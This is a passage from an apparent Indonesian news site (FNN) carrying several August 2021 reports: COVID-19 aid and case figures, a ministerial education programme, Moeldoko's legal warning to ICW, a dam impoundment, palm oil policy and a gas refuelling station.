Sampai sekarang tidak jelas keberadaan uang tersebut. Dalam perkara itu penyidik Polda Sumsel telah meminta keterangan sejumlah saksi, yakni Heryanti Tio, Rudi Sutadi, Kelvin (satu keluarga anak alm Akidi Tio), dr Hardi Darmawan (dokter pribadi keluarga) dan satu lain belum diketahui identitasnya. (MD).

Nadiem Harap Kedaireka Academy Lahirkan SDM Sesuai Kebutuhan Industri

Jakarta, FNN - Menteri Pendidikan, Kebudayaan, Riset dan Teknologi Republik Indonesia, Nadiem Makarim berharap program Kedaireka Academy yang dibangun dengan visi Kampus Merdeka dapat menjadi wadah dunia pendidikan nasional dan industri untuk melahirkan sumber daya Indonesia yang cakap, berkompetensi tinggi dan memenuhi kualifikasi industri. Selain itu, Kedaireka Academy dinilai dapat membuka peluang bagi industri untuk menggali ide-ide baru yang diperlukan untuk pengembangan solusi-solusi inovatif bagi kepentingan luas. "Bagi Kemendikbud RI, teknologi digital yang menjadi batu loncatan menuju masa depan tidak dapat dipisahkan dari kebijakan Merdeka Belajar," tutur Nadiem Makarim dalam siaran pers, Jumat. "Untuk itu, berbagai platform yang telah dikembangkan oleh Kementerian, termasuk platform Kedaireka yang berfungsi sebagai ‘biro jodoh’ antara dunia pendidikan dan industri, fokus kepada melahirkan talenta digital yang kreatif dan siap berinovasi," tambah Nadiem. "Pertumbuhan Indonesia akan sangat bergantung pada dorongan kolektif dari masing-masing pihak. Hal ini mampu terwujud dalam bentuk kerja sama antara pemerintah dengan swasta, termasuk dengan Huawei Indonesia,” tutur Nadiem. Pada kesempatan berbeda, Kepala Staf Kepresidenan Dr Moeldoko menyampaikan apresiasi atas program tersebut karena menjadi salah satu komponen penting dalam merangkul talenta di bidang teknologi digital. "Pengembangan SDM telah menjadi prioritas pembangunan nasional di bawah kepemimpinan Presiden Joko Widodo. Kantor Staf Presiden mendapat mandat untuk mengembangkan Management Talenta Nasional. SDM yang menguasai teknologi terdepan adalah kunci dalam mencapai target pembangunan nasional, agar Indonesia mampu menjadi negara berdaulat di bidang teknologi serta menjadi produsen dalam skala nasional maupun internasional," kata Moeldoko. "Sinergi seluruh pihak termasuk dari industri, menjadi fondasi kuat mencapai visi Indonesia Emas dan menjadikan Indonesia sebagai salah satu kekuatan ekonomi dunia pada 2045," sebut Moeldoko. Moeldoko melanjutkan, keterlibatan sektor swasta sangat dibutuhkan dalam mengembangan kompetensi SDM digital Indonesia. Langkah ini menjawab kebutuhan tenaga terampil pada era industri 4.0 guna menggantikan keterampilan-keterampilan yang tidak relevan lagi. “Kuncinya adalah Innovate or Die!" kata Moeldoko. Duta Besar Republik Indonesia untuk Republik Rakyat Tiongkok dan Mongolia, Djauhari Oratmangun mengatakan, sinergi dunia pendidikan dengan industri dan pengembangan kewirausahaan akan terus dipercepat melalui program Merdeka Belajar. Hal ini diharapkan dapat mengakselerasi kualitas sumber daya manusia nasional dan sekaligus meningkatkan daya saing industri. "Kedaireka yang diinisiasi oleh Kemendikbud RI serta program kolaborasinya dengan Huawei Indonesia merupakan realisasi dari pidato kenegaraan yang disampaikan Presiden Joko Widodo,” kata dia. (mth)

Astra Serahkan Bantuan Oksigen untuk Indonesia

JAKARTA, FNN - Astra melalui Nurani Astra telah menyerahkan bantuan berupa 375 tabung oksigen dan mendukung pendirian Rumah Oksigen Gotong Royong untuk membantu pemenuhan lonjakan kebutuhan oksigen di berbagai rumah sakit dan pasien COVID-19. Bantuan berupa 375 tabung oksigen telah diserahkan kepada Dinas Kesehatan DKI Jakarta dan berbagai rumah sakit di Jakarta, Depok, Bogor, Bekasi, Tangerang, dan Bandung untuk membantu perawatan pasien COVID-19, sedangkan Rumah Oksigen Gotong Royong merupakan fasilitas kesehatan semi permanen yang dilengkapi peralatan suplai oksigen dan tempat tidur perawatan, melalui Yayasan Anak Bangsa Bisa, sebuah yayasan di bawah naungan Grup GoTo bersama Kamar Dagang dan Industri Indonesia, dan Samator Group. Pada hari ini (20/8), Astra juga menyerahkan 500 unit konsentrator oksigen kepada Kementerian Perindustrian Republik Indonesia yang selanjutnya diserahkan kepada Kementerian Kesehatan Republik Indonesia untuk didistribusikan melalui Pusat Krisis Kementerian Kesehatan dan sejumlah pemerintah daerah seperti Lampung, Kalimantan Selatan, Jawa Timur, Kota Solo dan menyusul daerah lainnya di Indonesia. Bantuan ini diserahkan secara simbolis oleh Direktur Astra Gita Tiffani Boer didampingi Presiden Direktur PT Tjahja Sakti Motor Anton Kumonty dan Chief of Corporate Affairs Astra Riza Deliansyah kepada Menteri Perindustrian Republik Indonesia Agus Gumiwang Kartasasmita dalam acara Serah Terima Hibah Bantuan Penanganan COVID-19 dari Perusahaan Industri yang diadakan secara virtual pada hari ini (20/8). “Di tengah lonjakan kebutuhan akan oksigen dari berbagai rumah sakit dan masyarakat di Indonesia belakangan ini, Grup Astra senantiasa hadir dan berperan aktif untuk saling bantu dalam memberikan dukungan kepada pemerintah, tenaga kesehatan dan masyarakat agar masa sulit ini dapat dihadapi dan kita lalui bersama-sama,” ujar Presiden Direktur Astra Djony Bunarto Tjondro. Seluruh rangkaian bantuan oksigen ini merupakan bantuan tahap kesembilan. Sebelumnya, pada bulan Maret 2020 hingga bulan Agustus 2021, Grup Astra telah menyerahkan berbagai bantuan terkait penanganan COVID-19. Mulai dari tahap pertama hingga kedelapan, Astra bekerja sama dengan berbagai institusi seperti Kementerian Kesehatan Republik Indonesia, Badan Nasional Penanggulangan Bencana, Palang Merah Indonesia, rumah sakit umum pusat dan daerah serta berbagai pihak lainnya, termasuk bantuan langsung ke masyarakat sekitar. Bantuan-bantuan tersebut berupa unit kendaraan, mobil ambulans, berbagai perlengkapan medis ruang intensive care unit dan high care unit seperti ventilator dan multi-slice computed tomography scan, serta alat uji tes, alat pelindung diri, masker, ventilator, dan paket berupa makanan atau bahan makanan pokok. Semangat Grup Astra dalam berkontribusi membantu pemerintah, masyarakat, dan tenaga kesehatan dalam mengatasi pandemi COVID-19 adalah sejalan dengan Sustainable Development Goals dan cita-cita Astra untuk Sejahtera Bersama Bangsa. (mth)

Moeldoko Kirim Somasi Ketiga kepada ICW

Jakarta, FNN - Kepala Staf Kepresidenan Moeldoko mengirimkan surat somasi ketiga kepada Indonesia Corruption Watch (ICW) agar dalam waktu 5 x 24 jam menunjukkan bukti-bukti tuduhan keterlibatan mengambil keuntungan dari peredaran obat Ivermectin dan ekspor beras. "Kami berunding dengan Pak Moeldoko, ya, sudah kalau orang salah siapa tahu mau berubah. Kami berikan kesempatan sekali lagi, kesempatan terakhir kepada saudara Egi, surat teguran ketiga dan terakhir. Kami tegas katakan kami berikan 5 x 24 jam untuk mencabut pernyataan dan minta maaf kepada Pak Moeldoko," kata penasihat hukum Moeldoko, Otto Hasibuan, dalam konferensi pers virtual di Jakarta, Jumat. Somasi pertama Moeldoko dilayangkan pada tanggal 30 Juli 2021, kemudian somasi kedua pada tanggal 6 Agustus 2021. Dalam kedua somasi tersebut, Otto meminta peneliti ICW Egi Primayogha memberikan bukti-bukti dari mengenai pernyataan soal Moeldoko mengambil rente dari peredaran Ivermectin serta menggunakan jabatannya untuk melakukan ekspor beras. "Apabila tidak mencabut dan meminta maaf, saya nyatakan dengan tegas bahwa kami sebagai penasihat hukum akan melapor ke polisi," kata Otto. Otto menyebut Moeldoko sudah memberikan waktu yang cukup kepada ICW untuk menjawab somasi pertama dan kedua. Akan tetapi, dia merasa tidak puas dengan surat jawaban ICW. Ia menegaskan bahwa tidak ada alasan untuk berlindung di balik demokrasi tetapi mencemarkan nama orang lain. "Jadi, kalau sampai tidak minta maaf, kami akan lapor kepada yang berwajib, ke kepolisian. Mudah-mudahan Pak Moeldoko sendiri yang akan melapor ke kepolisian," kata Otto. Menurut Otto, Egi Primayogha tidak membalas somasi Moeldoko, tetapi yang membalas somasi adalah Koordinator ICW Adnan Topan Husodo. "Di surat dia disebut sebagai Koordinator ICW saja, bukan kuasa hukum saudara Egi, padahal yang tegas yang memberikan menyampaikan siaran pers dan diskusi publik adalah Egi sendiri dan temannya, jadi perbuatan pidana itu tidak bisa dipindahkan kepada orang lain," ujar Otto. Dalam surat balasan ICW tersebut, Otto menilai ICW tidak dapat membuktikan analisis mengenai dugaan keterlibatan Moeldoko dalam peredaran Ivermectin dan ekspor beras. "Balasan mereka benar-benar melakukan fitnah dan pencemaran nama baik karena mereka mengatakan melakukan penelitian sebelum mengungkap ke media," katanya. Dalam balasan surat, lanjut dia, ternyata bila dilihat metodologinya tidak ada interview, hanya mengumpulkan data sekunder. Dengan demikian, ini bukan penelitian karena ICW hanya membuat analisis dengan menggabung-gabungkan cerita yang ada di media. Isi lain surat balasan ICW itu, ungkap Otto, adalah ICW mengakui adanya misinformasi. "Kalau mereka misinformasi, lalu melontarkan di media massa, sepatutnya mereka meralat atau mencabut pernyataan semula karena sudah merugikan Pak Moel, nama baik sudah telanjur tercemar, tidak bisa entengnya mengatakan misinformasi lalu selesai, harus tegas mencabut dan memulihkan nama Pak Moeldoko," kata Otto. Dalam konferensi pers ICW pada tanggal 22 Juli 2021 disebutkan bahwa Moeldoko dalam jabatannya sebagai Ketua Himpunan Kerukunan Tani Indonesia (HKTI) punya hubungan dengan PT Noorpay Nusantara Perkasa, yaitu mengadakan program pelatihan petani di Thailand. Perseroan Terbatas (PT) Noorpay sahamnya dimiliki oleh Sofia Koswara sebagai Wakil Presiden PT Harsen Laboratories, produsen Ivermectin yang disebut-sebut sebagai salah satu obat COVID-19. Jejaring itu diduga mencari keuntungan di tengah krisis pandemi lewat relasi politik, apalagi putri Moeldoko, Joanina Rachman, adalah pemegang saham mayoritas di PT Noorpay Nusantara Perkasa. ICW juga mengungkapkan pada awal Juni 2021, Ivermectin didistribusikan oleh PT Harsen ke Kabupaten Kudus melalui HKTI. (mth)

Satgas: Kasus Positif COVID-19 di Bali Sudah di Atas 100.000 Orang

Denpasar, FNN - Satgas Penanganan COVID-19 Provinsi Bali mencatat kasus terkonfirmasi positif COVID-19 di Pulau Dewata hingga 20 Agustus 2021 sudah mencapai angka 100.708 orang. "Untuk hari ini saja, tambahan kasus baru sebanyak 1.039 orang, sedangkan sehari sebelumnya juga tidak berbeda jauh yakni 1.025 orang," kata Sekretaris Satgas Penanganan COVID-19 Provinsi Bali Made Rentin di Denpasar, Jumat. Dari 1.039 kasus baru yang terkonfirmasi pada Jumat (20/8) ini, tersebar di semua kabupaten/kota di Provinsi Bali, yakni Kabupaten Jembrana (73 orang), Kabupaten Tabanan (126 orang), Kabupaten Badung (188 orang), Kota Denpasar (298 orang), dan Kabupaten Gianyar (125 orang). Kemudian di Kabupaten Bangli (42 orang), Kabupaten Klungkung (41 orang), Kabupaten Karangasem (58 orang), Kabupaten Buleleng (83 orang) dan lima orang berasal dari kabupaten luar Bali. Selain tambahan kasus harian yang masih tinggi, pada hari yang sama di Bali juga mencatatkan tambahan kasus kematian tertinggi akibat COVID-19, yakni 73 orang. Kasus kematian tertinggi ini tercatat dari Kota Denpasar 33 orang, kemudian dari Kabupaten Gianyar (13 orang), Kabupaten Badung (sembilan orang), Kabupaten Buleleng (tujuh orang), Kabupaten Tabanan (empat orang), Kabupaten Bangli (tiga orang), Kabupaten Karangasem (dua orang) dan Kabupaten Jembrana (dua orang). Secara kumulatif, kasus kematian karena COVID-19 di Provinsi Bali hingga Jumat (20/8) ini menjadi sebanyak 3.006 orang (2,98 persen). Untuk jumlah kasus aktif atau pasien positif COVID-19 yang masih dalam perawatan di rumah sakit, di tempat isolasi terpusat ataupun menjalani isolasi mandiri sebanyak 10.387 orang (10,31 persen). Sementara itu, mereka yang sudah sembuh dari COVID-19 sebanyak 87.315 orang (86,7 persen). Rentin juga menyampaikan capaian vaksinasi COVID-19 untuk di Provinsi Bali hingga Kamis (19/8), untuk tahap pertama sudah sebanyak 3.123.224 orang (104,24 persen) dan untuk vaksinasi tahap kedua sebanyak 1.527.115 orang (50,97 persen). Untuk mencapai kekebalan komunal (70 persen) di Provinsi Bali, vaksinasi COVID-19 ditargetkan menyasar sebanyak 2.996.060 orang. Rentin yang juga Kepala Pelaksana BPBD Provinsi Bali itu kembali meminta masyarakat Bali untuk selalu disiplin melaksanakan 6M, yakni memakai masker standar dengan benar, menjaga jarak, mencuci tangan, mengurangi bepergian, meningkatkan imun, dan menaati aturan. (mth)

Desa Tete Batu Resmi Wakili Indonesia dalam Ajang Desa Wisata Dunia UNWTO

Mataram, FNN - Desa Tete Batu di Kecamatan Sikur, Kabupaten Lombok Timur, Nusa Tenggara Barat dipastikan mewakili Indonesia dalam ajang lomba desa wisata atau best tourism village yang diselenggarakan Organisasi Pariwisata Dunia Perserikatan Bangsa-Bangsa (UNWTO). "Tete Batu akhirnya pasti mewakili RI di ajang lomba desa wisata yang diselenggarakan oleh UNWTO," kata Kepala Dinas Pariwisata NTB, Yusron Hadi melalui telepon dari Mataram, Jumat. Ia mengatakan, informasi masuknya Desa Tete Batu ini diperoleh langsung dari Kementerian Pariwisata dan Ekonomi Kreatif (Kemenparekraf) yang memastikan terdapat tiga desa wisata yang diusulkan mengikuti lomba di UNWTO, bersama dua desa wisata lainnya di Indonesia, yakni satu dari Yogyakarta dan satu lagi dari Nusa Tenggara Timur (NTT). "Pemerintah provinsi mengapresiasi upaya yang dilakukan Kabupaten Lombok Timur yang sudah mempersiapkan segala sesuatunya untuk pengusulan lomba ini. Gubernur NTB dan Bupati Lombok Timur mengucapkan terima kasih yang sebesar besarnya atas atensi dan keputusan Kemenparekraf pada 19 Agustus, menetapkan desa wisata Tete Batu sebagai peserta lomba UNWTO. Terima kasih atas dukungan Mas Menteri Parekraf semoga Tete Batu juara," tutur Yusron Hadi. Menurut mantan Kepala Dinas Kelautan dan Perikanan NTB ini, terdapat enam keunggulan yang menjadi daya tarik wisata di Desa Tete Batu. Di antaranya warisan (haritage), budaya, air terjun yang terdapat lebih dari tiga titik, bumi perkemahan (camping ground), wisata ramah lingkungan (Ecogreen) dan memiliki lintasan down hill atau sepeda sepeda gunung. "Saat ini kami sedang berada di Desa Tete Batu bertemu dengan Pak Kades, pengelola desa wisata dan pokdarwis untuk pendampingan lomba. Bentuknya non teknis dan teknis, non teknis bisa pemahaman akan lomba maupun capacity building pengelola desa wisata, sedangkan teknisnya dukungan penataan kawasan dan pendampingan dilakukan oleh semua pihak," sambung Yusron Hadi. Desa Wisata Tete Batu sendiri menjadi salah satu tempat untuk menikmati pesona keindahan pemandangan di kaki selatan Gunung Rinjani. Desa ini memiliki pesona keindahan panorama pegunungan dan persawahan, kontur tanah di Tete Batu seperti anak tangga yang membentuk persawahan subur nan hijau. Dilokasi ini juga sering menjadi buruan para pecinta fotografer khususnya mereka yang ingin mengambil keindahan Sunsrise yang sangat menawan, dan di kala senja datang, wisatawan akan merasakan seolah - olah menyatu dengan keadaan alam yang begitu tenang, sunyi, dan sejuk. Di tambah dengan pemandangan langit yang bewarna merah keemasan, berpadu dengan kokohnya puncak Gunung Rinjani. Desa wisata tetebatu juga menyuguhkan beberapa fasilitas penunjang bagi para wisatawan seperti, homestay, dan rumah makan yang mudah dijumpai. Selain keindahan persawahan dan pegunungan, di desa wisata Tetebatu Juga Terdapat beberapa Air terjun seperti, Air terjun Ulem - ulem, Air terjun Burung Walet, Air Terjun Kokok Duren, Air Terjun Seme Deye dan Air terjun Jeruk Manis. (mth)

Bupati Pringsewu Lakukan Pengisian Awal Bendungan Way Sekampung

Pringsewu, Lampung, FNN - Bupati Pringsewu Sujadi melakukan pengisian awal (impounding) Bendungan Way Sekampung di Pekon Bumiratu, Kecamatan Pagelaran, Jumat (20/08/21). Pengisian awal (impounding) Bendungan Way Sekampung dimulai dengan penandatanganan prasasti dan penekanan tombol sirene oleh Bupati Pringsewu didampingi Kepala Balai Besar Wilayah Sungai (BBWS) Mesuji Sekampung Alexander Lida, Vice President Infrastructure I Division PT.Waskita Karya Lasino dan Manager Operasional II PT.Adhi Karya Ahmad Syamsu Bagiono. Bupati Pringsewu Sujadi dalam sambutannya mengucapkan terima kasih kepada Presiden Joko Widodo yang telah merespons usulan pembangunan Bendungan Way Sekampung, sehingga telah terwujud sebuah bendungan yang sangat kokoh, termasuk jembatan penghubung Kecamatan Pagelaran dan Pagelaran Utara yang saat ini menjadi jembatan terpanjang di Lampung. "Terima kasih dan apresiasi juga disampaikan kepada para kepala pekon di wilayah Kecamatan Banyumas, Pagelaran dan Pagelaran Utara beserta masyarakat, yang berkaitan langsung dalam penyediaan lahan bendungan. Kita berharap dan berdoa keberadaan bendungan ini menjadi sumber kesejahteraan bagi masyarakat," kata Sujadi. Kepala BBWS Mesuji Sekampung Alexander Lida pada kesempatan tersebut menyampaikan ucapan terima kasih kepada Bupati Pringsewu atas dukungannya selama ini sehingga proses pembangunan Bendungan Way Sekampung berjalan lancar. Menurut Alex, pembangunan Bendungan Way Sekampung ini merupakan bagian dari pengembangan dalam rangka penyediaan air baku, baik untuk irigasi maupun air minum untuk sejumlah daerah di Provinsi Lampung. "Keberadaan Bendungan Way Sekampung di Pringsewu ini memberi dampak yang signifikan dalam penyediaan air baku, baik untuk irigasi maupun air minum," ujarnya. Sementara itu, Vice President Infrastructure I Division PT.Waskita Karya Lasino mengatakan keberhasilan pembangunan Bendungan Way Sekampung ini merupakan kolaborasi yang sangat baik diantara semua pihak yang terlibat. Selain itu, pembangunannya hampir semua menggunakan material dari lokasi di sekitar bendungan. Hal ini menunjukkan bahwa daerah tersebut kaya akan material alam. Lebih lanjut dikatakan Lasino, kegiatan pengisian awal atau penggenangan ini merupakan bagian dari proses pembangunan Bendungan Way Sekampung, yang menjadi tanda bahwa pembangunan bendungan hampir selesai. "Saat ini progres pembangunannya mencapai 98 persen, sedangkan persen sisanya akan dilakukan setelah proses impounding," terangnya. (mth)

Pemerintah Masih Telaah Terkait Moratorium Sawit

Jakarta, FNN - Pemerintah masih mengadakan tinjauan dan penelaahan terkait apakah akan memperpanjang moratorium izin sawit yang berakhir pada September 2021, menurut Asisten Deputi Pengembangan Agribisnis Perkebunan Kemenko Perekonomian Moch. Edy Yusuf. "Kita masih mengadakan penelaahan apakah kita perpanjang atau seperti apa. Namun, komitmen pemerintah sudah jelas luas tutupan sawit kita 16,38 juta hektare (ha) itu merupakan luas tutupan yang selalu kita jaga sejak moratorium dilaksanakan tidak ada lagi izin yang ke luar," kata Edy dalam diskusi virtual yang dipantau dari Jakarta pada Jumat. Dia menyebut berbagai langkah telah diambil pemerintah untuk memastikan berjalannya Instruksi Presiden (Inpres) Nomor 8 Tahun 2018 tentang Penundaan dan Evaluasi Perizinan Perkebunan Kelapa Sawit serta Peningkatan Perkebunan Kelapa Sawit itu seperti dengan pencabutan 12 izin perusahaan di Papua Barat. Indonesia sendiri saat ini, berdasarkan Keputusan Menteri Pertanian Nomor 833 Tahun 2019 tentang Penetapan Luas Tutupan Kelapa Sawit, memiliki luas tutupan perkebunan sawit mencapai 16,381 juta ha tersebar di 26 provinsi. Edy mengatakan terkait moratorium izin sawit itu, pemerintah terus melakukan pembenahan tata kelola. "Kebijakan pemerintah pada akhirnya adalah untuk kesejahteraan, dalam hal ini terkait dengan kelapa sawit," ujar Edy. Dalam diskusi yang sama Direktur Eksekutif Yayasan Madani Berkelanjutan Nadia Hadad mengatakan berbagai kelompok sipil mengharapkan agar pemerintah dapat memperpanjang moratorium tersebut. Hal itu karena menurutnya meski banyak sudah dicapai pemerintah lewat moratorium itu, seperti konsolidasi data dan selesainya penghitungan luas perkebunan sawit, masih terdapat beberapa isu yang harus dihadapi seperti perbaikan tata kelola. Nadia menyampaikan dibandingkan melakukan perluasan lebih baik fokus pada peningkatan produktivitas melalui Program Peremajaan Sawit Rakyat tanpa harus membuka lahan baru. "Ini juga efektif sebenarnya untuk membantu mencegah kebakaran hutan," katanya. (mth)

Bawaslu Purworejo Umumkan 86 Barang Dugaan Pelanggaran Pemilu

Purworejo, FNN - Bawaslu Kabupaten Purworejo, Jawa Tengah, mengumumkan sebanyak 86 barang dugaan pelanggaran (BDP) yang tidak diketahui nama pemiliknya. Ketua Bawaslu Kabupaten Purworejo Nur Kholiq di Purworejo, Jumat, menjelaskan bahwa barang tersebut merupakan hasil pengawasan pelanggaran pada tahapan Pemilihan Gubernur dan Wakil Gubernur Jawa Tengah pada tahun 2018, Pilpres 2019, dan Pilkada 2020. Kholiq mengatakan bahwa pengelolaan barang dugaan pelanggaran ini sesuai dengan Peraturan Badan Pengawas Pemilihan Umum Nomor 19 Tahun 2018 tentang Pengelolaan Barang Dugaan Pelanggaran Pemilihan Umum dan Pemilihan Gubernur dan Wakil Gubernur, Bupati dan Wakil Bupati, serta Wali Kota dan Wakil Wali Kota. Ia mengatakan bahwa Bawaslu Kabupaten Purworejo membentuk tim untuk mengelola barang dugaan pelanggaran selama tahapan pemilihan tersebut. "Di Kabupaten Purworejo terdapat 86 barang dugaan pelanggaran yang tidak diketahui siapa nama pemiliknya, kemudian kami umumkan kepada masyarakat melalui laman resmi," katanya. Bagi masyarakat yang merasa memiliki barang tersebut, kata Kholiq, dapat mengambilnya di Sekretariat Bawaslu Kabupaten Purworejo, Jalan Letnan Jenderal Sarwo Edhie Wibowo Nomor 14 Kelurahan Sindurjan, Kecamatan Purworejo, Kabupaten Purworejo. Kepala Unit Pengelola BDP Bawaslu Kabupaten Purworejo Didik Budi Prasetyo mengatakan bahwa tim pengelola unit barang dugaan pelanggaran sudah mengumumkan melalui laman resmi, yakni purworejo.bawaslu.go.id dan juga dipasang langsung dipapan pengumuman sekretariat. Ia menyebutkan barang dugaan pelanggaran tersebut, antara lain dokumen elektronik berupa foto dan video, bahan kampanye berupa kaus, stiker, dan leaflet. "Jika ada masyarakat yang merasa memiliki barang tersebut, dapat mengambil dengan menunjukkan kartu identitas dan bukti-bukti kepemilikan barang tersebut," katanya. Ditegaskan pula bahwa pengambilan barang bukti tersebut paling lama 7 hari sejak pengumuman disampaikan. (mth)

Maksimalkan Gas Domestik, Dirjen Migas Resmikan SPBG Kaligawe

Jakarta, FNN - Direktur Jenderal Minyak dan Gas Bumi Kementerian ESDM Tutuka Ariadji meresmikan Stasiun Pengisian Bahan Bakar Gas (SPBG) Kaligawe, Semarang, Jawa Tengah, pada Jumat, sebagai upaya meningkatkan pemanfaatan gas bumi untuk domestik sekaligus mendorong transisi energi. SPBG Kaligawe berkapasitas 1 MMSCFD atau setara dengan 30.000 liter setara premium (lsp) per hari ini merupakan bagian program diversifikasi penggunaan BBM ke gas sektor transportasi. "Produksi gas bumi nasional cukup besar, sehingga harus dimanfaatkan secara maksimal untuk penggunaan dalam negeri dan untuk menciptakan kesejahteraan masyarakat di seluruh wilayah Indonesia," ujar Tutuka saat peresmian SPBG tersebut seperti dikutip dari laman Kementerian ESDM di Jakarta, Jumat. Turut mendampingi Dirjen Migas antara lain Sekda Kota Semarang Iswar Aminuddin, Kepala SKK Migas Dwi Soetjipto (secara online), Direktur Perencanaan dan Pembangunan Infrastruktur Migas Noor Arifin Muhammad, Direktur Strategi, Portofolio, dan Pengembangan Usaha (SPPU) PT Pertamina (Persero) Iman Rachman, dan Direktur Utama PT PGN Tbk M Haryo Yunianto. SPBG ini merupakan SPBG online yang dibangun dengan menggunakan dana APBN Ditjen Migas Kementerian ESDM Tahun Anggaran 2015, yang kemudian diserahkan ke Pertamina melalui mekanisme penyertaan modal pemerintah. Stasiun Kaligawe telah terhubung dengan sumber gas dari pipa gas transmisi ruas Gresik-Semarang, sehingga siap untuk dioperasikan Pertamina melalui salah satu anak usahanya, subholding gas PT PGN Tbk. Pengoperasian SPBG Kaligawe ini diharapkan dapat mendorong masyarakat menggunakan kendaraan berbahan bakar gas yang ramah lingkungan, serta dapat melayani kebutuhan bahan bakar gas untuk kendaraan khususnya di wilayah Kota Semarang, termasuk bus rapid transit (BRT) Trans-Semarang. "Dengan konversi BBM ke BBG akan didapatkan emisi kendaraan lebih rendah sehingga menjadi lebih ramah lingkungan. Beroperasinya SPBG Kaligawe dapat mendorong masyarakat Semarang menggunakan BBG yang ramah lingkungan dan ekonomis. Untuk itu, semoga Pertamina Grup dapat merealisasikan rencana untuk memperluas pemanfaatan SPBG Kaligawe secara berkelanjutan," ujar Tutuka. Sementara itu, Direktur Perencanaan dan Pembangunan Infrastruktur Migas Pembangunan SPBG Noor Arifin Muhammad menambahkan pemerintah dengan dana APBN, sejak 2011 hingga 2016 telah membangun 46 unit SPBG. Ke-46 SPBG itu berlokasi di Kota Palembang, Prabumulih, DKI Jakarta, Bogor, Bekasi, Tangerang Selatan, Depok, Cilegon, Merak, Serang, Kabupaten Subang, Purwakarta, Cirebon, Indramayu, Semarang, Gresik, Sidoarjo, Surabaya, dan Balikpapan. Sampai saat ini SPBG yang telah beroperasi sebanyak 17 unit. Khusus di Kota Semarang, terdapat tiga unit SPBG yang telah dibangun yaitu Kaligawe yang merupakan SPBG online yang terkoneksi dengan pipa distribusi subholding gas dan untuk operasional akan menggunakan gas dari Blok Kangean dan Blok Muria. SPBG lainnya adalah SPBG Mangkang yang merupakan stasiun induk (mother station) yang dibangun dengan APBN 2014, namun hingga saat ini belum terhubung dengan sumber gas, sehingga belum dapat dioperasikan. "Terakhir, SPBG Penggaron merupakan daughter station yang mendapat supply gas dari SPBG Mangkang, sehingga dapat dioperasikan segera setelah SPBG Mangkang telah beroperasi," ujarnya. Lebih lanjut, Arifin menyampaikan pada saat ini, SPBG Kaligawe akan menyuplai kebutuhan bahan bakar bus Trans-Semarang. Pemerintah Kota Semarang juga merencanakan akan menggunakan BBG untuk truk sampah apabila SPBG Semarang beroperasi. Penghematan penggunaan BBG ini bisa mencapai sekitar 13 persen dengan asumsi kebutuhan solar untuk satu unit bus sekitar 50 liter per hari dengan harga Rp5.150 per liter. Jika menggunakan BBG biaya per lsp seharga Rp4.500. Dalam kesempatan yang sama, Direktur SPPU Pertamina Iman Rachman menjelaskan rata-rata pemakaian gas untuk 200 unit bus Trans Semarang sekitar 8.400 lsp. Dari pemanfaatan SPBG Kaligawe yang berkapasitas 30.000 lsp, masih ada sekitar 21.600 lsp yang bisa dipakai untuk 500-600 kendaraan lain. "Diharapkan SPBG Kaligawe ini menjadi salah satu titik suplai penyediaan bahan bakar gas di Jawa Tengah dan pada akhirnya dapat mendorong bisnis gas secara keseluruhan di wilayah tersebut. Nantinya, fasilitas ini juga dapat dioptimalkan untuk layanan compressed natural gas (CNG) sektor komersial sebagai salah satu upaya substitusi elpiji secara bertahap," ujar Iman. Direktur Utama PGN Haryo Yunianto menambahkan, PGN sebagai subholding gas Pertamina akan melakukan penambahan titik suplai bahan bakar gas khususnya sektor transportasi di tempat lain, sehingga dapat semakin mempermudah akses masyarakat. "Lokasi SPBG Kaligawe sudah cukup strategis di dekat ruas jalan nasional. Maka, perlu dilakukan survei lebih mendetail terutama capturing potensi demand transportasi di luar bus Trans-Semarang, seperti angkutan kota yang melewati Jalan Raya Kaligawe," ujar Haryo. Dengan beroperasinya SPBG Kaligawe berarti menambah jumlah outlet penyediaan BBG pada program konversi di sektor transportasi yang dikelola Pertamina Group. Ke depannya, akan dilakukan peningkatan utilisasi pada SPBG Kaligawe agar dapat melayani pelanggan di sektor rumah tangga dan industri ritel di wilayah Semarang dan sekitarnya. SPBG Kaligawe sekaligus menjadi realisasi manfaat dari jumperline Tambak Lorok guna menyediakan fleksibilitas dan keandalan infrastruktur penyaluran gas bumi di Jawa Tengah. (mth)

Aviliani Perkirakan Pekerja Sektor Informal Akan Semakin Meningkat

Jakarta, FNN - Ekonom Senior Institute for Development of Economics and Finance (Indef) Aviliani memperkirakan pekerja di sektor informal akan semakin meningkat ke depannya. "Bukan berarti ekonominya makin jelek, tapi di era sekarang milenial cenderung tidak mau kerja kantoran dan memilih membuka usaha sendiri bersama teman-temannya," ucap Aviliani dalam Webinar Outlook Perekonomian Global dan Indonesia di Jakarta, Jumat. Maka dari itu, Aviliani berharap agar pemerintah bisa menyesuaikan kebijakan di sektor informal, mengingat pajak biasanya hanya ditarik dari pekerja formal. Padahal, penghasilan milenial yang bekerja di sektor informal cenderung cukup besar dan lebih tinggi daripada di sektor formal. Dengan demikian, hal tersebut menyebabkan potensi penerimaan negara dari masyarakat kelas menengah atas yang bekerja di sektor informal tidak tertangkap. Selain itu, ia menyebutkan penyesuaian kebijakan pemerintah untuk sektor informal juga harus dilakukan agar masyarakat kelas bawah terdampak pandemi yang kehilangan pekerjaannya di sektor tersebut bisa mendapatkan bantuan sosial. "Sektor informal di Indonesia saat ini paling tinggi jumlahnya, artinya orang di sektor tersebut tidak tercapture dari sisi bantuan sosial karena tidak memiliki BPJS Ketenagakerjaan," kata Aviliani. Maka dari itu, data mengenai penerima bantuan sosial harus terus diperbaiki ke depannya, karena krisis akan selalu membawa dampak pada kebutuhan sosial yang tidak bisa ditunda, katanya. (mth)

Pemkot Jakbar Data Anak Yatim Korban COVID-19 untuk Dapat Bantuan

